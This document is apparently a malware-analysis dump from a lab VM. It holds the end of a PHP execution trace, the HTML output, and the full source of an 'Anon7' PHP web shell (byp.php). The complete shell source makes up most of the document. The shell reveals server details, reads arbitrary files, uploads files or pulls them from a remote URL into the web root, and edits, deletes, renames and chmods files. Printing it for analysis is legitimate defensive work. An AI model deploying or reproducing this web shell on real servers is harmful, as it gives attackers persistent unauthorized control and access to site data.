2	60	1	0.004070	472288
2	60	R			TRUE
2	61	0	0.004089	472184	author	1		/var/www/html/uploads/byp.php	382	0
			0.004124	392856
TRACE END   [2023-02-12 20:44:34.630211]


Generated HTML code

<html><head>
	<title>.</title>
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<style>
	@import url('https://fonts.googleapis.com/css?family=Dosis');
	@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
	font-family: "Dosis", cursive;
	text-shadow:0px 0px 1px #757575;
}

#content tr:hover {
	background-color: #636263;
	text-shadow:0px 0px 10px #fff;
}

#content .first {
	background-color: #25383C;
}

#content .first:hover {
	background-color: #25383C
	text-shadow:0px 0px 1px #757575;
}

table {
	border: 1px #000000 dotted;
	table-layout: fixed;
}

td {
	word-wrap: break-word;
}

a {
	color: #ffffff;
	text-decoration: none;
}

a:hover {
	color: #000000;
	text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
	border: 1px #000000 solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
}

.gas {
	background-color: #1f1f1f;
	color: #ffffff;
	cursor: pointer;
}

select {
	background-color: transparent;
	color: #ffffff;
}

select:after {
	cursor: pointer;
}

.linka {
	background-color: transparent;
	color: #ffffff;
}

.up {
	background-color: transparent;
	color: #fff;
}

option {
	background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<center>
<font face="Bungee" size="5">KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY</font></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td>
Server : <font color="gold">Apache/2.4.52 (Ubuntu)</font><br>System : <font color="gold">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</font><br>User : <font color="gold">osboxes&nbsp;</font>( <font color="gold">1000</font>)<br>PHP Version : <font color="gold">7.2.34-37+ubuntu22.04.1+deb.sury.org+1</font><br>Disable Function : <font color="red">pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font><br>Directory : &nbsp;<a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/</td></tr><tr><td><br>Upload File : <form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked="">current_dir [ <font color="green">Writeable</font> ]
<input type="radio" value="2" name="dirnya">document_root [ <font color="green">Writeable</font> ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form></td></tr></tbody></table><br><div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td><a href="?fileloc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html">beneri.se_malware_analysis</a></td>
<td><center>0 KB</center></td>
<td><center>-rw-r--r--</center></td><td><center>
<form method="post" action="?pilihan&amp;path=/var/www/html">
<select name="pilih">
<option value=""></option>
<option value="hapus">Delete</option>
<option value="ubahmod">Chm0d</option>
<option value="gantinama">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" class="gas" value=">">
</form></center></td>
</tr><tr>
<td><a href="?fileloc=/var/www/html/byp.php&amp;path=/var/www/html">byp.php</a></td>
<td><center>12.337 KB</center></td>
<td><center>-rw-rw-r--</center></td><td><center>
<form method="post" action="?pilihan&amp;path=/var/www/html">
<select name="pilih">
<option value=""></option>
<option value="hapus">Delete</option>
<option value="ubahmod">Chm0d</option>
<option value="gantinama">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="byp.php">
<input type="hidden" name="path" value="/var/www/html/byp.php">
<input type="submit" class="gas" value=">">
</form></center></td>
</tr></tbody></table><center><br>Anon7 - 2021</center></div></body></html>

Original PHP code

<!DOCTYPE html>
<html>
<head>
	<title>.</title>
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<style>
	@import url('https://fonts.googleapis.com/css?family=Dosis');
	@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
	font-family: "Dosis", cursive;
	text-shadow:0px 0px 1px #757575;
}

#content tr:hover {
	background-color: #636263;
	text-shadow:0px 0px 10px #fff;
}

#content .first {
	background-color: #25383C;
}

#content .first:hover {
	background-color: #25383C
	text-shadow:0px 0px 1px #757575;
}

table {
	border: 1px #000000 dotted;
	table-layout: fixed;
}

td {
	word-wrap: break-word;
}

a {
	color: #ffffff;
	text-decoration: none;
}

a:hover {
	color: #000000;
	text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
	border: 1px #000000 solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
}

.gas {
	background-color: #1f1f1f;
	color: #ffffff;
	cursor: pointer;
}

select {
	background-color: transparent;
	color: #ffffff;
}

select:after {
	cursor: pointer;
}

.linka {
	background-color: transparent;
	color: #ffffff;
}

.up {
	background-color: transparent;
	color: #fff;
}

option {
	background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<center>
<font face="Bungee" size="5">KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY</font></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<?php
set_time_limit(0);
error_reporting(0);

$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
	$disf = "<font color='gold'>NONE</font>";
} else {
	$disf = "<font color='red'>".$disfunc."</font>";
}

function author() {
	echo "<center><br>Anon7 - 2021</center>";
	exit();
}

function cekdir() {
	if (isset($_GET['path'])) {
		$lokasi = $_GET['path'];
	} else {
		$lokasi = getcwd();
	}
	if (is_writable($lokasi)) {
		return "<font color='green'>Writeable</font>";
	} else {
		return "<font color='red'>Writeable</font>";
	}
}

function cekroot() {
	if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
		return "<font color='green'>Writeable</font>";
	} else {
		return "<font color='red'>Writeable</font>";
	}
}

function xrmdir($dir) {
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir.'/'.$item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}

function green($text) {
	echo "<center><font color='green'>".$text."</center></font>";
}

function red($text) {
	echo "<center><font color='red'>".$text."</center></font>";
}

echo "Server : <font color='gold'>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
echo "System : <font color='gold'>".php_uname()."</font><br>";
echo "User : <font color='gold'>".@get_current_user()."&nbsp;</font>( <font color='gold'>".@getmyuid()."</font>)<br>";
echo "PHP Version : <font color='gold'>".@phpversion()."</font><br>";
echo "Disable Function : ".$disf."</font><br>";
echo "Directory : &nbsp;";

foreach($_POST as $key => $value){
	$_POST[$key] = stripslashes($value);
}

if(isset($_GET['path'])){
	$lokasi = $_GET['path'];
	$lokdua = $_GET['path'];
} else {
	$lokasi = getcwd();
	$lokdua = getcwd();
}

$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);

foreach($lokasis as $id => $lok){
	if($lok == '' && $id == 0){
		$a = true;
		echo '<a href="?path=/">/</a>';
		continue;
	}
	if($lok == '') continue;
	echo '<a href="?path=';
	for($i=0;$i<=$id;$i++){
	echo "$lokasis[$i]";
	if($i != $id) echo "/";
} 
echo '">'.$lok.'</a>/';
}

echo '</td></tr><tr><td><br>';
if (isset($_POST['upwkwk'])) {
	if (isset($_POST['berkasnya'])) {
		if ($_POST['dirnya'] == "2") {
			$lokasi = $_SERVER['DOCUMENT_ROOT'];
		}
		$data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
		if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
			echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_FILES['berkas']['name']."</i></font><br><br>";
		} else {
			echo "<font color='red'>Failed to Upload !<br><br>";
		}
	} elseif (isset($_POST['linknya'])) {
		if (empty($_POST['namalink'])) {
			exit("Filename cannot be empty !");
		}
		if ($_POST['dirnya'] == "2") {
			$lokasi = $_SERVER['DOCUMENT_ROOT'];
		}
		$data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
		if (file_exists($lokasi."/".$_POST['namalink'])) {
			echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font><br><br>";
		} else {
			echo "<font coloe='red'>Failed to Upload !<br><br>";
		}
	}
}

echo "Upload File : ";
echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ '.cekdir().' ]
<input type="radio" value="2" name="dirnya" >document_root [ '.cekroot().' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form>';
echo "</table><br>";

if (isset($_GET['fileloc'])) {
	echo "<tr><td>Current File : ".$_GET['fileloc'];
	echo '</tr></td></table><br/>';
	echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>";
	author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
	if (is_dir($_POST['path'])) {
		xrmdir($_POST['path']);
		if (file_exists($_POST['path'])) {
			red("Failed to delete Directory !");
		} else {
			green("Delete Directory Success !");
			echo "string";
		}
	} elseif (is_file($_POST['path'])) {
		@unlink($_POST['path']);
		if (file_exists($_POST['path'])) {
			red("Failed to Delete File !");
		} else {
			green("Delete File Success !");
		}
	}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
	echo "<center>".$_POST['path']."<br>";
	echo '<form method="post">
	Permission : <input name="perm" type="text" class="up" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
	<input type="hidden" name="path" value="'.$_POST['path'].'">
	<input type="hidden" name="pilih" value="ubahmod">
	<input type="submit" value="Change" name="chm0d" class="up" style="cursor: pointer; border-color: #fff"/>
	</form>';
	if (isset($_POST['chm0d'])) {
		$cm = @chmod($_POST['path'], $_POST['perm']);
		if ($cm == true) {
			green("Change Mod Success !");
		} else {
			red("Change Mod Failed !");
		}
	}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
	if (isset($_POST['gantin'])) {
		$ren = @rename($_POST['path'], $_POST['newname']);
		if ($ren == true) {
			green("Change Name Success !");
		} else {
			red("Change Name Failed !");
		}
	}
	if (empty($_POST['name'])) {
		$namaawal = $_POST['newname'];
	} else {
		$namawal = $_POST['name'];
	}
	echo "<center>".$_POST['path']."<br>";
	echo '<form method="post">
	New Name : <input name="newname" type="text" class="up" size="20" value="'.$namaawal.'" />
	<input type="hidden" name="path" value="'.$_POST['path'].'">
	<input type="hidden" name="pilih" value="gantinama">
	<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
	</form>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
	if (isset($_POST['gasedit'])) {
		$edit = @file_put_contents($_POST['path'], $_POST['src']);
		if ($edit == true) {
			green("Edit File Success !");
		} else {
			red("Edit File Failed !");
		}
	}
	echo "<center>".$_POST['path']."<br><br>";
	echo '<form method="post">
	<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br>
	<input type="hidden" name="path" value="'.$_POST['path'].'">
	<input type="hidden" name="pilih" value="edit">
	<input type="submit" value="Edit File" name="gasedit" />
	</form><br>';
}

echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

foreach($lokasinya as $dir){
	if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
	echo "<tr>
	<td><a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a></td>
	<td><center>--</center></td>
	<td><center>";
	if(is_writable($lokasi."/".$dir)) echo '<font color="green">';
	elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
	echo statusnya($lokasi."/".$dir);
	if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>';

	echo "</center></td>
	<td><center><form method=\"POST\" action=\"?pilihan&path=$lokasi\">
	<select name=\"pilih\">
	<option value=\"\"></option>
	<option value=\"hapus\">Delete</option>
	<option value=\"ubahmod\">Chm0d</option>
	<option value=\"gantinama\">Rename</option>
	</select>
	<input type=\"hidden\" name=\"type\" value=\"dir\">
	<input type=\"hidden\" name=\"name\" value=\"$dir\">
	<input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\">
	<input type=\"submit\" class=\"gas\" value=\">\" />
	</form></center></td>
	</tr>";
}

echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($lokasinya as $file) {
	if(!is_file("$lokasi/$file")) continue;
	$size = filesize("$lokasi/$file")/1024;
	$size = round($size,3);
	if($size >= 1024){
	$size = round($size/1024,2).' MB';
} else {
	$size = $size.' KB';
}

echo "<tr>
<td><a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$lokasi/$file")) echo '<font color="green">';
elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
echo statusnya("$lokasi/$file");
if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';
echo "</center></td><td><center>
<form method=\"post\" action=\"?pilihan&path=$lokasi\">
<select name=\"pilih\">
<option value=\"\"></option>
<option value=\"hapus\">Delete</option>
<option value=\"ubahmod\">Chm0d</option>
<option value=\"gantinama\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
<input type=\"submit\" class=\"gas\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</tr></td></table></table>';
author();

function statusnya($file){
$statusnya = fileperms($file);

if (($statusnya & 0xC000) == 0xC000) {

// Socket
$ingfo = 's';
} elseif (($statusnya & 0xA000) == 0xA000) {
// Symbolic Link
$ingfo = 'l';
} elseif (($statusnya & 0x8000) == 0x8000) {
// Regular
$ingfo = '-';
} elseif (($statusnya & 0x6000) == 0x6000) {
// Block special
$ingfo = 'b';
} elseif (($statusnya & 0x4000) == 0x4000) {
// Directory
$ingfo = 'd';
} elseif (($statusnya & 0x2000) == 0x2000) {
// Character special
$ingfo = 'c';
} elseif (($statusnya & 0x1000) == 0x1000) {
// FIFO pipe
$ingfo = 'p';
} else {
// Unknown
$ingfo = 'u';
}

// Owner
$ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0040) ?
(($statusnya & 0x0800) ? 's' : 'x' ) :
(($statusnya & 0x0800) ? 'S' : '-'));


// Group
$ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0008) ?
(($statusnya & 0x0400) ? 's' : 'x' ) :
(($statusnya & 0x0400) ? 'S' : '-'));

// World
$ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0002) ? 'w' : '-');

$ingfo .= (($statusnya & 0x0001) ?
(($statusnya & 0x0200) ? 't' : 'x' ) :
(($statusnya & 0x0200) ? 'T' : '-'));

return $ingfo;
}
?>